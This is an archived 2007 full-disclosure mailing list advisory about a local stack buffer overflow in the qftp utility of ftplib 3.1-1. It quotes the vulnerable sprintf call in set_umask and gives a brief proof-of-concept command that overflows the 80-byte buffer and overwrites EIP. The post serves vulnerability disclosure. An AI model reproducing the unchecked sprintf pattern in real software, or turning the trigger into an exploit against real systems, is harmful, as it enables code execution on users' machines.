full-disclosure - QFTP (LIBFtp 3.1-1) (command line) sprintf() local buffer overflow

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Date: Thu, 15 Mar 2007 19:26:10 +0100
From: "starcadi starcadi" <starcadi@...il.com>
To: listgrok <full-disclosure@...ts.grok.org.uk>
Subject: QFTP (LIBFtp 3.1-1) (command line) sprintf()
	local buffer overflow

http://nbpfaus.net/~pfau/ftplib/

qftp is a utility that performs file transfers using ftplib based on
instructions presented on the command line.

>> Description

buffer overflow in sprintf(), set_umask don't check sizelen of passed argument.

>> Source error

in main():
337: 	  case 'm' : set_umask(optarg); break;
..
void set_umask(char *m)
{
    char buf[80];
    sprintf(buf,"umask %s", m);
    ftp_connect();
    FtpSite(buf, conn);
}

>> POC

$ gcc ftplib.c getopt.c qftp.c -o ftpsend
$ ftpsend localhost -l login -p passwd -m `perl -e "print 'a'x90"`
Segmentation fault

# eip addr: $1 = (void *) 0x61616161

-- 
~ starcadi

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